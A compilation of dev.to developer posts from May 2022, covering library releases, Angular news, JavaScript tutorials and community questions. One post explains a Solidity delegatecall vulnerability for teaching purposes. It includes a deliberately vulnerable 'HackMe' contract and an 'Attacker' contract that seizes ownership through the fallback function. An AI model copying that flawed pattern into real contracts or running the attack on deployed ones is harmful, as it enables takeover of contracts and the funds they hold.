teleren/devto huggingface dataset:
The Hyperverse
Tags: javascript, blockchain, web3, programming
Published: 2022-05-16 22:42:18

Many of you probably clicked on this post because you were intrigued by the title and wondered what the heck the Hyperverse was. I am here to tell you that it will be the number one tool that developers use to start building Dapps in Web3. Let me explain.

[Decentology](https://www.decentology.com/) is building the Hyperverse, a community-built, open, audited, marketplace for composable smart contracts for all major blockchains. Decentology is also creating innovative solutions for smart contract development, security, monetization, and discoverability that work cross-chain on the Hyperverse, resulting in **the most comprehensive marketplace for smart contracts ever created.**

In short, **the Hyperverse makes it extremely simple for Web2 developers to build Dapps without writing a single line of smart contract code and only using JavaScript. The Hyperverse is the NPM for smart contracts.**

Go [here](https://www.decentology.com/blog/composing-the-hyperverse) to learn more about Decentology and the Hyperverse.

Follow [me](https://dev.to/shaincodes) to stay up-to-date on tutorials that will guide you step-by-step on how to build Dapps with the Hyperverse.
Pikaso v2.6 released
Published: 2022-05-16 22:23:02

[Pikaso](https://github.com/pikasojs/pikaso) v2.6 was released. The release contains a number of bug fixes and new features.

### Introducing Background Size

From v2.6.0, both `editor.loadFromUrl` and `editor.loadFromFile` accept a second parameter with this interface

```ts
interface BackgroundOptions {
  size: 'auto' | 'resize' | 'cover' | 'contain' | 'stretch'
  x: number
  y: number
}
```

The `size` field describes how a background image should be loaded in the canvas. The functionality is the same as the CSS feature `background-size`.

```ts
editor.loadFromUrl('<url>') // resizes canvas to to file's size by default

editor.loadFromUrl('<url>', {
  size: 'cover'
})

editor.loadFromFile('<File>', {
  size: 'stretch'
})
```

### Improve Label Shape

Labels can now be resized from different perspectives.
The following configuration should be followed to enable resizing from different aspects:
`keepScale` will be accessible as of `v2.6.0` and by setting that to false, the default scaling behavior will be disabled.
Also, all options for [`Konva.Transformer`](https://konvajs.org/api/Konva.Transformer.html) are available through `transformer` 

```ts
editor.shapes.label.insert({
    container: {/* config */},
    tag: {/* config */},
    text: {/* config */},
    config: {
      keepScale: false|true, // By setting keepScale to false, the default scaling behavior will be disabled
      transformer: {
        keepRatio: true, // keepRatio set to true to maintain scaling when scaling from corners
        enabledAnchors: ['middle-left', 'middle-right', 'bottom-right'] // Here are all the options available https://konvajs.org/api/Konva.Transformer.html#enabledAnchors__anchor
      }
    }
  })
```

### Improve Export/Import

zIndex export/import is now supported.
Ng-News: Episode 22/19
Tags: angular, javascript, webdev, programming
Published: 2022-05-16 21:41:46

This is a weekly posting, covering the latest updates from the Angular community.

{% embed https://youtu.be/Ym1UsXHIOag %}

## Google I/O Conference

Google's yearly I/O conference took place. There were, of course, also some sessions about Angular.

In "State of Angular," Emma and Mark from the Angular core team gave a short overview of the most significant additions we have had so far and an outlook on the upcoming version 14. These are the Standalone Components that remove the need for NgModules, and the typed forms that add type safety to ReactiveForms.

{% embed https://youtu.be/ukGoWyla2lI %}

Other Angular-related sessions were about accessibility, an introduction to Angular itself, and how to embed Angular into the Google Cloud.

{% embed https://youtu.be/jVPHsolXgLk %}

{% embed https://youtu.be/Gm_bD1abFXI %}

{% embed https://youtu.be/qxchrt04bTA %}


## What's new for the web platform

Although not only related to Angular, a must-see session was "What's new for the web platform." The presenters were Una Kravets and Jake Archibald, and they showed new features that have been added to browsers since the last I/O conference.

Some of them are already available for all major browsers.

For example, structured cloning, which is a native clone method, the HTML dialog element, and upcoming features like container queries or the :has pseudo selector. Don't miss it.

{% embed https://youtu.be/5b4YcLB4DVI %}

## Standalone APIs RFC

The RFC for Standalone APIs is closed. Standalone APIs will replace existing NgModules like the Router- or the AppModule with regular functions. The number of comments was huge, and it looks like the implementation can be done as originally planned.

{% embed https://twitter.com/angular/status/1523716877276659717 %}

## Release Candidate Angular 14

We have the first release candidate for Angular 14. In Angular 13 we had in total four release candidates. For 14, that would mean somewhere we can expect the final version in the first half of June.

{% embed https://twitter.com/twerske/status/1524452540175187969 %}

## Miscellaneous

### Pnpm 7
Other than that, we had a major version upgrade of pnpm, an alternative to npm, to version 7. 

{% embed https://pnpm.io/ %}

### PrimeNg 13.4
PrimeNg with a minor version to 13.4.

[ChangeLog](https://github.com/primefaces/primeng/blob/master/CHANGELOG.md#1340-2022-05-10)

### Playwright 1.22

Playwright released v1.22. Playwright is a framework for E2E  testing. It comes with a experimental Component Test Runner and improvements for Visual Regression.

[Playwright](https://playwright.dev)
Convert a JavaScript object to queryparams string
Tags: javascript, node
Published: 2022-11-14 18:16:23

---
title: Convert a JavaScript object to queryparams string
published: true
date: 2022-05-16 21:33:24 UTC
tags:
  - javascript
  - nodejs
canonical_url: https://www.emmanuelgautier.com/blog/convert-object-to-querystring
---

Converting a JS object to parameters in a URL is a common task for web developers but there are different ways to do it in depending on the context. Let's see two options depending whether your code is running in a browser or on a NodeJS server.

## Browser Side Using URLSearchParams API

The [URLSearchParams](https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams) interface is available in the browser. It is used to manipulate the query string of a URL. This API is [compatible](https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams#browser_compatibility) with all modern browsers including the latest browser versions and excluding Internet Explorer.

Here is an example:

```javascript
const params = {
  name: 'John',
  age: 30,
}

const qs = new URLSearchParams(params)
console.log(qs.toString())
```

If you are in the case you need to support Internet Explorer 11 or lower, you can use a URLSearchParams [polyfill](https://github.com/zloirock/core-js#url-and-urlsearchparams) or the [querystringify](https://www.npmjs.com/package/querystringify) npm package.

## Server Side Using querystring

The [querystring](https://nodejs.org/api/querystring.html) module is part of NodeJS built-in modules. It is used to manipulate the query string of a URL as well.

Here is an example:

```javascript
const querystring = require('querystring')

const params = {
  name: 'John',
  age: 30,
}

const qs = querystring.stringify(params)
console.log(qs)
```
Need Help Creating a Webflow Chrome Extension
Tags: help
Published: 2022-05-16 21:17:12

Hi! I am trying to find some help on building a Chrome extension that will interact a little bit with Webflow's frontend. 
Basically what I need is to be able to "put" data into the user's clipboard that webflow can the understand and paste into the frontend.

Willing to hire someone that can help me with that task or anyone that can point me in the right direction.

Thanks a lot in advance!
The best 4 ways to styling a React App
Tags: javascript, react, beginners, webdev
Published: 2022-05-16 20:47:47

There several ways or methods that you can use to styling your react app 💎, here I am going to show the best 4 methods/ways to do it with it's advantages and disadvantages.

## 1. CSS ❄

React is just a JavaScript library that "generates" html (in simple words), so you obviously can write base CSS to styling your react app.

**Advantages:**
- It is easiest one
- No configuration needed

**Disadvantages:**
- Horrific to maintain.
- It could be a disaster if you are working in huge projects.

## 2. CSS modules ❄🍗

A CSS Module is a CSS file that defines class and animation names that are scoped locally by default, it creates a unique class for each element in your app to make sure you won't have problems mixing classes.

**Advantages:**
-  It is plain CSS

**Disadvantages:**
- Same as CSS

## 3. Preprocessors (SAAS, LESS, etc) 💪💥

Preprocessors are CSS with super powers it really makes life easier. With Preprocessors you can have variables, mixing, functions, etc, all these inside your styles. 

If you haven't try any Preprocessor before I highly recommend you to  start using SASS.

## Advantages:
-  Easy to learn. 
- You can have variables, mixings, functions, etc.
- Easy to maintain in large projects.

**Disadvantages:**
- Need configuration

## 4. Styled-Components (recommend) 💅

Styled-Components is a js library that allows you to write CSS inside JavaScript, so you can have much control in your styles by adding variables, importing things from another file etc.

**Advantages:**
-  You create react components with this library, you don't need classes anymore.
- Much control and super easy to main.
- You can use sass syntax.

**Disadvantages:**
-  None (in my personal opinion)

This was the best 4 ways that you can styling your react/JavaScript application 💎, if you liked please follow me on my tweeter to see more content like this https://twitter.com/joselatines_
📜 API Documentation release automation with Github, redocly and Open API 🦾
Tags: github, documentation, redocly, devops
Published: 2022-05-16 21:01:06

## 💡 Inception

I truly ❤️ the way [Forem](https://forem.dev/) manages its community by providing ready to use resources to help make things possible.

Their [way of achieving documentation](https://developers.forem.com/api) really impressed me, see by yourself :

[![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yf2hccq37lzylkfqth6g.png)](https://developers.forem.com/api#tag/articles)
 
> So I wanted to offer the same comfort to the users of the APIs we create & maintain

👉 **This post is about how we achieved that as part of our maintenance & release process.**

## ❔ Intro

Pretty often, people ask you for API documentation. Most of the time you have a live and running Swagger interface (aka. [`Swagger UI`](https://swagger.io/tools/swagger-ui/)), but..

> when you have onPrem APIs, some people may not have access to an up-to-date documentation.

This post will show how we did achieve this on one of our APIs : domaine-nc-api.


## 📝 Ways of releasing documentation

Below are some ways to achieve and access documentation :

- Live & running [Swagger](https://swagger.io/) instance
- Swagger from running Docker (public images) instance, see [`optnc/domaine-nc-api`](https://hub.docker.com/r/optnc/domaine-nc-api)
- API Marketplace like [our API Marketplace on RapidAPI](https://rapidapi.com/opt-nc-opt-nc-default/api/domaine-nc/)
- Static [openAPI](https://spec.openapis.org/oas/v3.1.0) `yaml` exports
- Static web documentation (achieved thanks to [redocly](https://redocly.com/))

☝️ To achieve all this work, we are using Continuous Integrations, with [GitHub Action](https://github.com/features/actions) **so the job is done as part of the release process.**


## 🍿 Démo

With the following demo you'll discover live how we achieve the whole maintenance & release process to achieve all these tasks 👇

{% youtube 4eNz5qHGnEY %}

## 🔖 Related contents

{% embed https://dev.to/optnc/avoid-domain-name-expiration-with-gh-actions-issues-rapidapi-24 %}

{% embed https://dev.to/optnc/dependency-management-automation-with-dependabot-3l62 %}

{% embed https://dev.to/optnc/domainenc-the-fun-docker-way-and-screenshots-contest-17o8 %}
I gave my first tech talk: here is how it went.
Published: 2022-05-16 20:46:36

{% embed https://youtu.be/erPk8Y5nw6k %}



Last week I had the pleasure of talking about the SOLID principles as part of Women Who Code Object Oriented Programming track.

It was fun. It was also extremely challenging.

First, before that I had only ever given internal technical presentations within my company. Giving an external facing technical talk was definitely nerve-wrecking. This SOLID stuff is fairly complex, and the anxiety was real. Public speaking is scary for most of us, though I’m definitely getting better at managing the anxiety around it.

Second, as a self-taught engineer, I constantly grapple with self-doubt and impostor syndrome. What if there is an error in my code sample? What if I butcher an explanation and someone misunderstands a principle? What if I receive a question I don’t know the answer to? These worries are always there, though I try to ignore them and just do my absolute best to prepare. If I do everything I can to deliver the best content possible, then I can be safe in knowing that I have done everything inside my control and just let go of everything else. At least that’s my hope.

And third, life happened. When I was giving this webinar, I happened to be cat-sitting with a cute young kitten who apparently got overexcited when I started talking about SOLID (who can blame him, right?), and decided that jumping on my keyboard and biting my legs was the way to share in the fun. I put on the best poker face I could, but still I was frustrated and a bit angry. I had spent weeks preparing a perfect speech, and now I had to deal with something unexpected and annoying that was throwing me off.

Nevertheless, the talk went well, the participants enjoyed it, my explanations were clear and well-paced, and I had a good time as well.

All of this got me thinking. So much is happening in the lives of the people who put themselves out there, online, to teach or entertain us, stuff that is not always visible, but still presents a challenge for them. We never see any of this, yet we still judge them and spend way more time criticising their failures than praising their successes.

Going through experiences like this teaches me about empathy towards others and what they are going through, but also about resilience and being kinder to myself.

What has public speaking taught you?
Maps and Sets in JavaScript
Tags: javascript, webdev, programming, tutorial
Published: 2022-05-16 20:26:45

A programming language must provide us with all of the necessary constructs that empower developers to model their domain and problem space clearly and efficiently.
Till date, JavaScript lacked support for two fundamental types that most other languages offer, namely maps and sets.

**The Limitations of Objects**

JavaScript provides objects (created with {}) and arrays ([]) for collections. Objects, often likened to associative arrays or dictionaries, allow lookup by keys, while arrays offer efficient random access via indexes. However, these structures have limitations.
One significant limitation is that object keys are always coerced to strings. This means that the type of the key is not preserved when used in an object, which can lead to unexpected behavior. Consider this code:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hjgzwa87tbd09fgs02yl.png)

Here, despite having seemingly different keys ('true' and true), the lookup retrieves the value associated with the boolean key. 

This is due to JavaScript coercing both keys to strings. 

Swapping the order of key-value pairs further demonstrates this:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/miin7vrf9hh8wn21edkc.png)

In this case, the lookup now retrieves the value associated with the string key 'true'.

Lets start by exploring maps, followed by sets.
Why still write articles to teach JavaScript?
Tags: javascript, discuss
Published: 2022-05-16 19:38:04

I have been thinking to start blogging so that I can add value, help others just like internet helped me to become full stack developer in JavaScript. However, every time I want to write a new article on JavaScript, I could not, knowing that lots of people has already written awesome articles about same topic, feels like I am trying to re-invent the wheel. So my questions is, If you write article on same topic that many has already written, are you still adding value?
Delegate Call - Context is Preserved
Tags: solidity, security, bestpractice
Published: 2022-05-16 19:32:32

---series: Security Vulnerabilities---

This is a very simple and rare vulnerability which we might never see in real-world. But let's take a sneak-peak anyway.

Let's understand how delegate call works.
contract_A has a function which delegate calls contract_B. When that function is called, state of contract_A is changed after successful execution of code in contract_B.

Consider the following:
```solidity
contract HackMe {
    address public owner;
    Lib _libContract;

    constructor(address _lib) {
        owner = msg.sender;
        _libContract = Lib(_lib);
    }

    fallback() external payable {
        address(_libContract).delegatecall(msg.data);
    }
}

contract Lib {
    address public owner;

    function changeOwner() external {
        owner = msg.sender;
    }
}
```
If you are clear with delegate call, you might have seen the problem above. If not, no worries keep reading...

How HackMe can be hacked to change owner variable?
- If an attacker calls `changeOwner()` function in HackMe , this will trigger the fallback function (because there is no `changeOwner()` in HackMe).
- fallback function delegate calls Lib contract calling `msg.data` which is `changeOwner()`
- this will call `changeOwner()` in Lib which will change `owner`(in HackMe) to `msg.sender`(i.e attacker address).

See the following contract:

```solidity
contract Attacker {
    address hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() external {
        hackMe.call(abi.encodeWithSignature("changeOwner()"));
    }
}
```
I've made a RESTful HTTP client which will make your life much easier
Tags: npm, webdev, restful, javascript
Published: 2022-05-16 19:14:36

Most of you reading this are probably already familiar and using [**axios**](https://www.npmjs.com/package/axios) for making HTTP requests from your application to an API, whether it is your own API or an external one.

Today I want to introduce you to **4rest**, the new npm package I built, on top of **axios**, which is designed to help you set up all of your app's functions for making HTTP requests to API, easily, quickly, and make them as organized as possible by splitting them to services based on API's data models.

<br>
**<u>Let's see a basic usage example:**
</u>
1) First of all you create a **Forest Instance** with your API base URL and other relevant configuration.

```typescript
import forest from "4rest";

export const instance = forest.create({ axiosSettings: { baseURL: "http://localhost:5000" } });
```

2) Then we create a **Forest Service** using the instance we just made. 
```typescript
import { instance } from "./forestInstance";
import { UserWithId, User } from "./types";

export const userService = instance.createService<UserWithId, User>("user");
```

**That's It!**
Just by doing these 2 simple steps we got our self a total of 9 different functions for making calls to an API with types for request payload and response data on them, including: 
- `getAll`
- `getById`
- `deleteAll`
- `deleteById`
- `post`
- `patch`
- `patchById`
- `put`
- `putById`

<br>
<u>**Let's see a few examples of using the service methods in our app:**</u>

- **GET**
```typescript
// GET http://localhost:5000/user
async function getUsers() {
  const users: User[] = (await userService.getAll()).data;
}

// GET http://localhost:5000/user/:id
async function getUserById(id: string) {
  const user: User = (await userService.getById(id)).data;
}
```
- **POST**
```typescript
// POST http://localhost:5000/user
async function createUser(newUser: User) {
  const userCreated: User = (await userService.post(newUser)).data;
}
```

- **PATCH**
```typescript
// PATCH http://localhost:5000/user
async function updateUser(partialUser: Partial<User>) {
  const updatedUser: User = (await userService.patch(partialUser)).data;
}

// PATCH http://localhost:5000/user/:id
async function updateUserById(id: ObjectId, partialUser: Partial<User>) {
  const updatedUser: User = (await userService.patchById(id, partialUser)).data;
}
```
This is only the most basic example of how you use **4rest** but there are a lot more options to configure service and instance, which let you do much more than shown in this article like [**zod**](https://www.npmjs.com/package/zod) payload and response data type validations, methods routes configuration, custom service with custom methods, requests onSuccess and onError handling and more.
<br>


### **See more:**
[**4rest** Full docs and source code on Github]
(https://github.com/LiorVainer/4rest)

[**4rest** NPM Page](https://www.npmjs.com/package/4rest)

**Hope you will find this package useful.
I would like to hear your feedback on the package and suggestions for future improvement 😀**
Flask-like framework, for PHP
Tags: php, webdev, python, help
Published: 2022-05-16 19:13:29

I'm a beginner (both in PHP & Python). but, I had built web project with flask. So, I'm more familiar with "how flask works". And spesifically, I like the "blueprint" concept of the flask.

Now I want to learn PHP, but I find it hard to get learning resource (book/article) that using similar concept as flask.

Maybe can anyone share some thought about "microframework" in PHP that share similar concept with flask?.

Note:
* I don't choose Laravel beacuse I just want to build simple web app, and I think microframework help me learn lot more.
* I tried to learn Slim Framework, but I still don't get the idea of how slim framework works.
* Sorry for my bad english :)
Why quitting job articles are so popular?
Tags: webdev, discuss
Published: 2022-05-16 18:48:34

We often see people posting about quitting their job; I mean including all blogs and not just dev.to. And somehow, they manage to attract a lot of attention. What are your thoughts on this topic?
Is it like most people hate their job but don't have the courage to leave it so they seek inspiration in such blogs or something else? 
Let us know know your thoughts on this. Let's have a meaningful discussion on this topic.